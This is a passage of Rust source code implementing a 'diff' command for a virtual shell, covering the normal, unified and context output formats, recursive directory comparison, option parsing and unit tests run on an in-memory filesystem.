mapped_old_end);\n            let new_range_str = format_normal_range(mapped_new_start, mapped_new_end);\n            output.push_str(&format!(\"{}c{}\\n\", old_range_str, new_range_str));\n        } else if has_delete {\n            let old_range_str = format_normal_range(mapped_old_start, mapped_old_end);\n            output.push_str(&format!(\"{}d{}\\n\", old_range_str, new_before));\n        } else {\n            let new_range_str = format_normal_range(mapped_new_start, mapped_new_end);\n            output.push_str(&format!(\"{}a{}\\n\", old_before, new_range_str));\n        }\n\n        for op in &group {\n            let op_old = op.old_range();\n            for idx in op_old.clone() {\n                if matches!(\n                    op,\n                    similar::DiffOp::Delete { .. } | similar::DiffOp::Replace { .. }\n                ) {\n                    let orig_idx = a.map[idx];\n                    output.push_str(&format!(\"< {}\", a.orig[orig_idx]));\n                    if !a.orig[orig_idx].ends_with('\\n') {\n                        output.push('\\n');\n                    }\n                }\n            }\n        }\n\n        if has_replace || (has_delete && has_insert) {\n            output.push_str(\"---\\n\");\n        }\n\n        for op in &group {\n            let op_new = op.new_range();\n            for idx in op_new.clone() {\n                if matches!(\n                    op,\n                    similar::DiffOp::Insert { .. } | similar::DiffOp::Replace { .. }\n                ) {\n                    let orig_idx = b.map[idx];\n                    output.push_str(&format!(\"> {}\", b.orig[orig_idx]));\n                    if !b.orig[orig_idx].ends_with('\\n') {\n                        output.push('\\n');\n                    }\n                }\n            }\n        }\n    }\n\n    output\n}\n\n/// Map a preprocessed line index to a 1-based original line number.\nfn map_to_orig_1based(map: &[usize], idx: usize) -> usize {\n    if idx < map.len() {\n        map[idx] + 1\n    } else if !map.is_empty() {\n        map[map.len() - 1] + 1\n    } else {\n        0\n    }\n}\n\nfn format_normal_range(start: usize, end: usize) -> String {\n    if start == end {\n        format!(\"{}\", start)\n    } else {\n        format!(\"{},{}\", start, end)\n    }\n}\n\nfn format_unified_diff(\n    a: &DiffInput,\n    b: &DiffInput,\n    old_label: &str,\n    new_label: &str,\n    context: usize,\n) -> String {\n    let p1_refs: Vec<&str> = a.proc.iter().map(|s| s.as_str()).collect();\n    let p2_refs: Vec<&str> = b.proc.iter().map(|s| s.as_str()).collect();\n    let diff = TextDiff::from_slices(&p1_refs, &p2_refs);\n    let mut output = String::new();\n\n    output.push_str(&format!(\"--- {}\\n\", old_label));\n    output.push_str(&format!(\"+++ {}\\n\", new_label));\n\n    for group in diff.grouped_ops(context) {\n        let first_op = &group[0];\n        let last_op = &group[group.len() - 1];\n\n        let old_range = first_op.old_range().start..last_op.old_range().end;\n        let new_range = first_op.new_range().start..last_op.new_range().end;\n\n        let old_start = if old_range.start < a.map.len() {\n            a.map[old_range.start] + 1\n        } else {\n            1\n        };\n        let old_count = if old_range.end > old_range.start {\n            a.map[old_range.end - 1] - a.map[old_range.start] + 1\n        } else {\n            0\n        };\n        let new_start = if new_range.start < b.map.len() {\n            b.map[new_range.start] + 1\n        } else {\n            1\n        };\n        let new_count = if new_range.end > new_range.start {\n            b.map[new_range.end - 1] - b.map[new_range.start] + 1\n        } else {\n            0\n        };\n\n        output.push_str(&format!(\n            \"@@ -{},{} +{},{} @@\\n\",\n            old_start, old_count, new_start, new_count\n        ));\n\n        for op in &group {\n            match op {\n                similar::DiffOp::Equal { old_index, len, .. } => {\n                    for i in 0..*len {\n                        let orig_idx = a.map[old_index + i];\n                        output.push(' ');\n                        output.push_str(a.orig[orig_idx]);\n                        if !a.orig[orig_idx].ends_with('\\n') {\n                            output.push('\\n');\n                        }\n                    }\n                }\n                similar::DiffOp::Delete {\n                    old_index, old_len, ..\n                } => {\n                    for i in 0..*old_len {\n                        let orig_idx = a.map[old_index + i];\n                        output.push('-');\n                        output.push_str(a.orig[orig_idx]);\n                        if !a.orig[orig_idx].ends_with('\\n') {\n                            output.push('\\n');\n                        }\n                    }\n                }\n                similar::DiffOp::Insert {\n                    new_index, new_len, ..\n                } => {\n                    for i in 0..*new_len {\n                        let orig_idx = b.map[new_index + i];\n                        output.push('+');\n                        output.push_str(b.orig[orig_idx]);\n                        if !b.orig[orig_idx].ends_with('\\n') {\n                            output.push('\\n');\n                        }\n                    }\n                }\n                similar::DiffOp::Replace {\n                    old_index,\n                    old_len,\n                    new_index,\n                    new_len,\n                } => {\n                    for i in 0..*old_len {\n                        let orig_idx = a.map[old_index + i];\n                        output.push('-');\n                        output.push_str(a.orig[orig_idx]);\n                        if !a.orig[orig_idx].ends_with('\\n') {\n                            output.push('\\n');\n                        }\n                    }\n                    for i in 0..*new_len {\n                        let orig_idx = b.map[new_index + i];\n                        output.push('+');\n                        output.push_str(b.orig[orig_idx]);\n                        if !b.orig[orig_idx].ends_with('\\n') {\n                            output.push('\\n');\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    output\n}\n\nfn format_context_diff(\n    a: &DiffInput,\n    b: &DiffInput,\n    old_label: &str,\n    new_label: &str,\n    context: usize,\n) -> String {\n    let p1_refs: Vec<&str> = a.proc.iter().map(|s| s.as_str()).collect();\n    let p2_refs: Vec<&str> = b.proc.iter().map(|s| s.as_str()).collect();\n    let diff = TextDiff::from_slices(&p1_refs, &p2_refs);\n    let mut output = String::new();\n\n    output.push_str(&format!(\"*** {}\\n\", old_label));\n    output.push_str(&format!(\"--- {}\\n\", new_label));\n\n    for group in diff.grouped_ops(context) {\n        let old_range = group[0].old_range().start..group[group.len() - 1].old_range().end;\n        let new_range = group[0].new_range().start..group[group.len() - 1].new_range().end;\n\n        let old_start = if old_range.start < a.map.len() {\n            a.map[old_range.start] + 1\n        } else {\n            1\n        };\n        let old_end = if old_range.end > 0 && old_range.end - 1 < a.map.len() {\n            a.map[old_range.end - 1] + 1\n        } else {\n            old_start\n        };\n        let new_start = if new_range.start < b.map.len() {\n            b.map[new_range.start] + 1\n        } else {\n            1\n        };\n        let new_end = if new_range.end > 0 && new_range.end - 1 < b.map.len() {\n            b.map[new_range.end - 1] + 1\n        } else {\n            new_start\n        };\n\n        output.push_str(\"***************\\n\");\n\n        output.push_str(&format!(\n            \"*** {},{} ****\\n\",\n            old_start,\n            old_end.max(old_start)\n        ));\n        let has_old_changes = group.iter().any(|op| {\n            matches!(\n                op,\n                similar::DiffOp::Delete { .. } | similar::DiffOp::Replace { .. }\n            )\n        });\n        if has_old_changes {\n            for op in &group {\n                match op {\n                    similar::DiffOp::Equal { old_index, len, .. } => {\n                        for i in 0..*len {\n                            let orig_idx = a.map[old_index + i];\n                            output.push_str(&format!(\"  {}\", a.orig[orig_idx]));\n                            if !a.orig[orig_idx].ends_with('\\n') {\n                                output.push('\\n');\n                            }\n                        }\n                    }\n                    similar::DiffOp::Delete {\n                        old_index, old_len, ..\n                    } => {\n                        for i in 0..*old_len {\n                            let orig_idx = a.map[old_index + i];\n                            output.push_str(&format!(\"- {}\", a.orig[orig_idx]));\n                            if !a.orig[orig_idx].ends_with('\\n') {\n                                output.push('\\n');\n                            }\n                        }\n                    }\n                    similar::DiffOp::Replace {\n                        old_index, old_len, ..\n                    } => {\n                        for i in 0..*old_len {\n                            let orig_idx = a.map[old_index + i];\n                            output.push_str(&format!(\"! {}\", a.orig[orig_idx]));\n                            if !a.orig[orig_idx].ends_with('\\n') {\n                                output.push('\\n');\n                            }\n                        }\n                    }\n                    _ => {}\n                }\n            }\n        }\n\n        output.push_str(&format!(\n            \"--- {},{} ----\\n\",\n            new_start,\n            new_end.max(new_start)\n        ));\n        let has_new_changes = group.iter().any(|op| {\n            matches!(\n                op,\n                similar::DiffOp::Insert { .. } | similar::DiffOp::Replace { .. }\n            )\n        });\n        if has_new_changes {\n            for op in &group {\n                match op {\n                    similar::DiffOp::Equal { old_index, len, .. } => {\n                        for i in 0..*len {\n                            let orig_idx = a.map[old_index + i];\n                            output.push_str(&format!(\"  {}\", a.orig[orig_idx]));\n                            if !a.orig[orig_idx].ends_with('\\n') {\n                                output.push('\\n');\n                            }\n                        }\n                    }\n                    similar::DiffOp::Insert {\n                        new_index, new_len, ..\n                    } => {\n                        for i in 0..*new_len {\n                            let orig_idx = b.map[new_index + i];\n                            output.push_str(&format!(\"+ {}\", b.orig[orig_idx]));\n                            if !b.orig[orig_idx].ends_with('\\n') {\n                                output.push('\\n');\n                            }\n                        }\n                    }\n                    similar::DiffOp::Replace {\n                        new_index, new_len, ..\n                    } => {\n                        for i in 0..*new_len {\n                            let orig_idx = b.map[new_index + i];\n                            output.push_str(&format!(\"! {}\", b.orig[orig_idx]));\n                            if !b.orig[orig_idx].ends_with('\\n') {\n                                output.push('\\n');\n                            }\n                        }\n                    }\n                    _ => {}\n                }\n            }\n        }\n    }\n\n    output\n}\n\nfn diff_files(\n    path1: &str,\n    path2: &str,\n    content1: &str,\n    content2: &str,\n    opts: &DiffOpts,\n    stdout: &mut String,\n) -> i32 {\n    let input_a = preprocess_lines(content1, opts);\n    let input_b = preprocess_lines(content2, opts);\n\n    if input_a.proc == input_b.proc {\n        if opts.report_identical {\n            stdout.push_str(&format!(\"Files {} and {} are identical\\n\", path1, path2));\n        }\n        return 0;\n    }\n\n    if opts.brief {\n        stdout.push_str(&format!(\"Files {} and {} differ\\n\", path1, path2));\n        return 1;\n    }\n\n    let label1 = if !opts.labels.is_empty() {\n        opts.labels[0].to_string()\n    } else {\n        path1.to_string()\n    };\n    let label2 = if opts.labels.len() > 1 {\n        opts.labels[1].to_string()\n    } else {\n        path2.to_string()\n    };\n\n    let diff_output = match opts.format {\n        OutputFormat::Normal => format_normal_diff(&input_a, &input_b),\n        OutputFormat::Unified(ctx) => {\n            format_unified_diff(&input_a, &input_b, &label1, &label2, ctx)\n        }\n        OutputFormat::Context(ctx) => {\n            format_context_diff(&input_a, &input_b, &label1, &label2, ctx)\n        }\n    };\n\n    stdout.push_str(&diff_output);\n    1\n}\n\nfn diff_directories(\n    path1: &str,\n    path2: &str,\n    opts: &DiffOpts,\n    ctx: &CommandContext,\n    stdout: &mut String,\n    stderr: &mut String,\n) -> i32 {\n    let resolved1 = resolve_path(path1, ctx.cwd);\n    let resolved2 = resolve_path(path2, ctx.cwd);\n\n    let entries1 = match ctx.fs.readdir(&resolved1) {\n        Ok(entries) => entries,\n        Err(e) => {\n            stderr.push_str(&format!(\"diff: {}: {}\\n\", path1, e));\n            return 2;\n        }\n    };\n\n    let entries2 = match ctx.fs.readdir(&resolved2) {\n        Ok(entries) => entries,\n        Err(e) => {\n            stderr.push_str(&format!(\"diff: {}: {}\\n\", path2, e));\n            return 2;\n        }\n    };\n\n    let names1: std::collections::BTreeSet<String> =\n        entries1.iter().map(|e| e.name.clone()).collect();\n    let names2: std::collections::BTreeSet<String> =\n        entries2.iter().map(|e| e.name.clone()).collect();\n    let all_names: std::collections::BTreeSet<String> = names1.union(&names2).cloned().collect();\n\n    let mut exit_code = 0;\n\n    for name in &all_names {\n        let child1 = format!(\"{}/{}\", path1, name);\n        let child2 = format!(\"{}/{}\", path2, name);\n        let in1 = names1.contains(name);\n        let in2 = names2.contains(name);\n\n        if in1 && !in2 {\n            stdout.push_str(&format!(\"Only in {}: {}\\n\", path1, name));\n            if exit_code < 1 {\n                exit_code = 1;\n            }\n            continue;\n        }\n        if !in1 && in2 {\n            stdout.push_str(&format!(\"Only in {}: {}\\n\", path2, name));\n            if exit_code < 1 {\n                exit_code = 1;\n            }\n            continue;\n        }\n\n        // Both exist\n        let is_dir1 = is_directory(&child1, ctx);\n        let is_dir2 = is_directory(&child2, ctx);\n\n        if is_dir1 && is_dir2 {\n            let code = diff_directories(&child1, &child2, opts, ctx, stdout, stderr);\n            if code > exit_code {\n                exit_code = code;\n            }\n        } else if !is_dir1 && !is_dir2 {\n            let content1 = match read_file_content(&child1, ctx) {\n                Ok(c) => c,\n                Err(e) => {\n                    stderr.push_str(&format!(\"{}\\n\", e));\n                    exit_code = 2;\n                    continue;\n                }\n            };\n            let content2 = match read_file_content(&child2, ctx) {\n                Ok(c) => c,\n                Err(e) => {\n                    stderr.push_str(&format!(\"{}\\n\", e));\n                    exit_code = 2;\n                    continue;\n                }\n            };\n\n            let code = diff_files(&child1, &child2, &content1, &content2, opts, stdout);\n            if code > exit_code {\n                exit_code = code;\n            }\n        } else {\n            stdout.push_str(&format!(\n                \"File {} is a {} while file {} is a {}\\n\",\n                child1,\n                if is_dir1 { \"directory\" } else { \"regular file\" },\n                child2,\n                if is_dir2 { \"directory\" } else { \"regular file\" },\n            ));\n            if exit_code < 1 {\n                exit_code = 1;\n            }\n        }\n    }\n\n    exit_code\n}\n\nfn parse_args<'a>(args: &'a [String]) -> Result<(DiffOpts<'a>, Vec<&'a str>), String> {\n    let mut opts = DiffOpts::default();\n    let mut files: Vec<&str> = Vec::new();\n    let mut opts_done = false;\n    let mut i = 0;\n\n    while i < args.len() {\n        let arg = &args[i];\n\n        if opts_done || !arg.starts_with('-') || arg == \"-\" {\n            files.push(arg);\n            i += 1;\n            continue;\n        }\n\n        if arg == \"--\" {\n            opts_done = true;\n            i += 1;\n            continue;\n        }\n\n        // Long options\n        if arg.starts_with(\"--\") {\n            match arg.as_str() {\n                \"--unified\" => {\n                    opts.format = OutputFormat::Unified(3);\n                }\n                \"--context\" => {\n                    opts.format = OutputFormat::Context(3);\n                }\n                \"--recursive\" => opts.recursive = true,\n                \"--brief\" => opts.brief = true,\n                \"--report-identical-files\" => opts.report_identical = true,\n                \"--new-file\" => opts.new_file = true,\n                \"--ignore-case\" => opts.ignore_case = true,\n                \"--ignore-all-space\" => opts.ignore_all_space = true,\n                \"--ignore-space-change\" => opts.ignore_space_change = true,\n                \"--ignore-blank-lines\" => opts.ignore_blank_lines = true,\n                \"--label\" => {\n                    i += 1;\n                    if i >= args.len() {\n                        return Err(\"diff: option '--label' requires an argument\".to_string());\n                    }\n                    opts.labels.push(&args[i]);\n                }\n                _ if arg.starts_with(\"--unified=\") => {\n                    let val = &arg[\"--unified=\".len()..];\n                    let n: usize = val\n                        .parse()\n                        .map_err(|_| format!(\"diff: invalid context length '{}'\", val))?;\n                    opts.format = OutputFormat::Unified(n);\n                }\n                _ if arg.starts_with(\"--context=\") => {\n                    let val = &arg[\"--context=\".len()..];\n                    let n: usize = val\n                        .parse()\n                        .map_err(|_| format!(\"diff: invalid context length '{}'\", val))?;\n                    opts.format = OutputFormat::Context(n);\n                }\n                _ if arg.starts_with(\"--label=\") => {\n                    let val = &arg[\"--label=\".len()..];\n                    opts.labels.push(val);\n                }\n                _ => {\n                    return Err(format!(\"diff: unrecognized option '{}'\", arg));\n                }\n            }\n            i += 1;\n            continue;\n        }\n\n        // Short options\n        let chars: Vec<char> = arg[1..].chars().collect();\n        let mut j = 0;\n        while j < chars.len() {\n            match chars[j] {\n                'u' => opts.format = OutputFormat::Unified(3),\n                'c' => opts.format = OutputFormat::Context(3),\n                'r' => opts.recursive = true,\n                'q' => opts.brief = true,\n                's' => opts.report_identical = true,\n                'N' => opts.new_file = true,\n                'i' => opts.ignore_case = true,\n                'w' => opts.ignore_all_space = true,\n                'b' => opts.ignore_space_change = true,\n                'B' => opts.ignore_blank_lines = true,\n                'U' => {\n                    let rest: String = chars[j + 1..].iter().collect();\n                    let val = if !rest.is_empty() {\n                        rest\n                    } else {\n                        i += 1;\n                        if i >= args.len() {\n                            return Err(\"diff: option requires an argument -- 'U'\".to_string());\n                        }\n                        args[i].clone()\n                    };\n                    let n: usize = val\n                        .parse()\n                        .map_err(|_| format!(\"diff: invalid context length '{}'\", val))?;\n                    opts.format = OutputFormat::Unified(n);\n                    j = chars.len(); // consumed the rest\n                    continue;\n                }\n                'C' => {\n                    let rest: String = chars[j + 1..].iter().collect();\n                    let val = if !rest.is_empty() {\n                        rest\n                    } else {\n                        i += 1;\n                        if i >= args.len() {\n                            return Err(\"diff: option requires an argument -- 'C'\".to_string());\n                        }\n                        args[i].clone()\n                    };\n                    let n: usize = val\n                        .parse()\n                        .map_err(|_| format!(\"diff: invalid context length '{}'\", val))?;\n                    opts.format = OutputFormat::Context(n);\n                    j = chars.len();\n                    continue;\n                }\n                _ => {\n                    return Err(format!(\"diff: invalid option -- '{}'\", chars[j]));\n                }\n            }\n            j += 1;\n        }\n        i += 1;\n    }\n\n    Ok((opts, files))\n}\n\nstatic DIFF_META: CommandMeta = CommandMeta {\n    name: \"diff\",\n    synopsis: \"diff [OPTIONS] FILE1 FILE2\",\n    description: \"Compare files line by line.\",\n    options: &[\n        (\"-u, --unified\", \"output in unified format\"),\n        (\"-c, --context\", \"output in context format\"),\n        (\"-r, --recursive\", \"recursively compare directories\"),\n        (\"-q, --brief\", \"report only when files differ\"),\n        (\"-s, --report-identical\", \"report when files are identical\"),\n        (\"-N, --new-file\", \"treat absent files as empty\"),\n        (\"-i, --ignore-case\", \"ignore case differences\"),\n        (\"-w, --ignore-all-space\", \"ignore all white space\"),\n        (\n            \"-b, --ignore-space-change\",\n            \"ignore changes in amount of white space\",\n        ),\n        (\n            \"-B, --ignore-blank-lines\",\n            \"ignore changes where lines are all blank\",\n        ),\n        (\"--label LABEL\", \"use LABEL instead of file name\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl super::VirtualCommand for DiffCommand {\n    fn name(&self) -> &str {\n        \"diff\"\n    }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&DIFF_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let (opts, files) = match parse_args(args) {\n            Ok(v) => v,\n            Err(e) => {\n                return CommandResult {\n                    stderr: format!(\"{}\\n\", e),\n                    exit_code: 2,\n                    ..Default::default()\n                };\n            }\n        };\n\n        if files.len() != 2 {\n            return CommandResult {\n                stderr: \"diff: requires exactly two file arguments\\n\".to_string(),\n                exit_code: 2,\n                ..Default::default()\n            };\n        }\n\n        let path1 = files[0];\n        let path2 = files[1];\n\n        let dir1 = is_directory(path1, ctx);\n        let dir2 = is_directory(path2, ctx);\n\n        // Recursive directory diff\n        if dir1 && dir2 {\n            if !opts.recursive {\n                return CommandResult {\n                    stderr: format!(\n                        \"diff: {} is a directory\\ndiff: {} is a directory\\n\",\n                        path1, path2\n                    ),\n                    exit_code: 2,\n                    ..Default::default()\n                };\n            }\n            let mut stdout = String::new();\n            let mut stderr = String::new();\n            let exit_code = diff_directories(path1, path2, &opts, ctx, &mut stdout, &mut stderr);\n            return CommandResult {\n                stdout,\n                stderr,\n                exit_code,\n                stdout_bytes: None,\n            };\n        }\n\n        // If one is a directory and the other is a file, diff the file against same-named file in dir\n        if dir1 || dir2 {\n            let (dir_path, file_path) = if dir1 { (path1, path2) } else { (path2, path1) };\n            let filename = std::path::Path::new(file_path)\n                .file_name()\n                .map(|f| f.to_string_lossy().to_string())\n                .unwrap_or_else(|| file_path.to_string());\n            let dir_file = format!(\"{}/{}\", dir_path, filename);\n\n            let content_file = match read_file_content(file_path, ctx) {\n                Ok(c) => c,\n                Err(e) => {\n                    return CommandResult {\n                        stderr: format!(\"{}\\n\", e),\n                        exit_code: 2,\n                        ..Default::default()\n                    };\n                }\n            };\n            let content_dir = match read_file_content(&dir_file, ctx) {\n                Ok(c) => c,\n                Err(e) => {\n                    return CommandResult {\n                        stderr: format!(\"{}\\n\", e),\n                        exit_code: 2,\n                        ..Default::default()\n                    };\n                }\n            };\n\n            let (c1, c2, p1, p2) = if dir1 {\n                (content_dir, content_file, dir_file.as_str(), file_path)\n            } else {\n                (content_file, content_dir, file_path, dir_file.as_str())\n            };\n\n            let mut stdout = String::new();\n            let exit_code = diff_files(p1, p2, &c1, &c2, &opts, &mut stdout);\n            return CommandResult {\n                stdout,\n                exit_code,\n                ..Default::default()\n            };\n        }\n\n        // Handle -N (treat absent files as empty)\n        let exists1 = file_exists(path1, ctx);\n        let exists2 = file_exists(path2, ctx);\n\n        if !exists1 && !opts.new_file {\n            return CommandResult {\n                stderr: format!(\"diff: {}: No such file or directory\\n\", path1),\n                exit_code: 2,\n                ..Default::default()\n            };\n        }\n        if !exists2 && !opts.new_file {\n            return CommandResult {\n                stderr: format!(\"diff: {}: No such file or directory\\n\", path2),\n                exit_code: 2,\n                ..Default::default()\n            };\n        }\n\n        let content1 = if exists1 {\n            match read_file_content(path1, ctx) {\n                Ok(c) => c,\n                Err(e) => {\n                    return CommandResult {\n                        stderr: format!(\"{}\\n\", e),\n                        exit_code: 2,\n                        ..Default::default()\n                    };\n                }\n            }\n        } else {\n            String::new()\n        };\n\n        let content2 = if exists2 {\n            match read_file_content(path2, ctx) {\n                Ok(c) => c,\n                Err(e) => {\n                    return CommandResult {\n                        stderr: format!(\"{}\\n\", e),\n                        exit_code: 2,\n                        ..Default::default()\n                    };\n                }\n            }\n        } else {\n            String::new()\n        };\n\n        let mut stdout = String::new();\n        let exit_code = diff_files(path1, path2, &content1, &content2, &opts, &mut stdout);\n\n        CommandResult {\n            stdout,\n            exit_code,\n            ..Default::default()\n        }\n    }\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n    use crate::commands::{CommandContext, VirtualCommand};\n    use crate::interpreter::ExecutionLimits;\n    use crate::network::NetworkPolicy;\n    use crate::vfs::{InMemoryFs, VirtualFs};\n    use std::collections::HashMap;\n    use std::sync::Arc;\n\n    fn test_ctx() -> (\n        Arc<InMemoryFs>,\n        HashMap<String, String>,\n        ExecutionLimits,\n        NetworkPolicy,\n    ) {\n        (\n            Arc::new(InMemoryFs::new()),\n            HashMap::new(),\n            ExecutionLimits::default(),\n            NetworkPolicy::default(),\n        )\n    }\n\n    fn ctx_with_stdin<'a>(\n        fs: &'a Arc<InMemoryFs>,\n        env: &'a HashMap<String, String>,\n        limits: &'a ExecutionLimits,\n        network_policy: &'a NetworkPolicy,\n        stdin: &'a str,\n    ) -> CommandContext<'a> {\n        CommandContext {\n            fs: &**fs,\n            cwd: \"/\",\n            env,\n            variables: None,\n            stdin,\n            stdin_bytes: None,\n            limits,\n            network_policy,\n            exec: None,\n            shell_opts: None,\n        }\n    }\n\n    fn ctx<'a>(\n        fs: &'a Arc<InMemoryFs>,\n        env: &'a HashMap<String, String>,\n        limits: &'a ExecutionLimits,\n        network_policy: &'a NetworkPolicy,\n    ) -> CommandContext<'a> {\n        ctx_with_stdin(fs, env, limits, network_policy, \"\")\n    }\n\n    fn run(args: &[&str], context: &CommandContext) -> CommandResult {\n        let owned: Vec<String> = args.iter().map(|s| s.to_string()).collect();\n        DiffCommand.execute(&owned, context)\n    }\n\n    #[test]\n    fn identical_files_exit_zero_no_output() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"hello\\nworld\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"hello\\nworld\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout, \"\");\n    }\n\n    #[test]\n    fn different_files_exit_one_normal_diff() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"hello\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"world\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"1c1\"));\n        assert!(result.stdout.contains(\"< hello\"));\n        assert!(result.stdout.contains(\"> world\"));\n    }\n\n    #[test]\n    fn unified_format_headers_and_hunks() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"line1\\nline2\\nline3\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"line1\\nchanged\\nline3\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-u\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"--- /a.txt\"));\n        assert!(result.stdout.contains(\"+++ /b.txt\"));\n        assert!(result.stdout.contains(\"@@\"));\n        assert!(result.stdout.contains(\"-line2\"));\n        assert!(result.stdout.contains(\"+changed\"));\n    }\n\n    #[test]\n    fn context_format_headers() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"line1\\nline2\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"line1\\nline3\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-c\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"*** /a.txt\"));\n        assert!(result.stdout.contains(\"--- /b.txt\"));\n        assert!(result.stdout.contains(\"***************\"));\n    }\n\n    #[test]\n    fn recursive_directory_comparison() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.mkdir_p(std::path::Path::new(\"/dir1\")).unwrap();\n        fs.mkdir_p(std::path::Path::new(\"/dir2\")).unwrap();\n        fs.write_file(std::path::Path::new(\"/dir1/a.txt\"), b\"hello\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/dir2/a.txt\"), b\"world\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/dir1/b.txt\"), b\"same\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/dir2/b.txt\"), b\"same\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/dir1/only1.txt\"), b\"x\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/dir2/only2.txt\"), b\"y\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-r\", \"/dir1\", \"/dir2\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"Only in /dir1: only1.txt\"));\n        assert!(result.stdout.contains(\"Only in /dir2: only2.txt\"));\n        // a.txt differs\n        assert!(result.stdout.contains(\"1c1\"));\n    }\n\n    #[test]\n    fn brief_mode() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"hello\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"world\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-q\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert_eq!(result.stdout, \"Files /a.txt and /b.txt differ\\n\");\n    }\n\n    #[test]\n    fn ignore_case() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"Hello\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"hello\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-i\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn ignore_all_whitespace() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"hello world\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"helloworld\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-w\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn ignore_space_change() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"hello  world\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"hello world\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-b\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn new_file_treats_absent_as_empty() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"hello\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-N\", \"/a.txt\", \"/nonexistent.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"< hello\"));\n    }\n\n    #[test]\n    fn absent_file_without_new_file_flag_errors() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"hello\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"/a.txt\", \"/nonexistent.txt\"], &c);\n        assert_eq!(result.exit_code, 2);\n        assert!(result.stderr.contains(\"No such file or directory\"));\n    }\n\n    #[test]\n    fn report_identical_files() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"same\\n\")\n            .unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"same\\n\")\n            .unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"-s\", \"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout, \"Files /a.txt and /b.txt are identical\\n\");\n    }\n\n    #[test]\n    fn single_line_files() {\n        let (fs, env, limits, np) = test_ctx();\n        fs.write_file(std::path::Path::new(\"/a.txt\"), b\"a\").unwrap();\n        fs.write_file(std::path::Path::new(\"/b.txt\"), b\"b\").unwrap();\n        let c = ctx(&fs, &env, &limits, &np);\n        let result = run(&[\"/a.txt\", \"/b.txt\"], &c);\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stdout.contains(\"< a\"));\n        assert!(result.stdout.contains(\"> b\"));\n    }\n\n    #[test]\n    fn 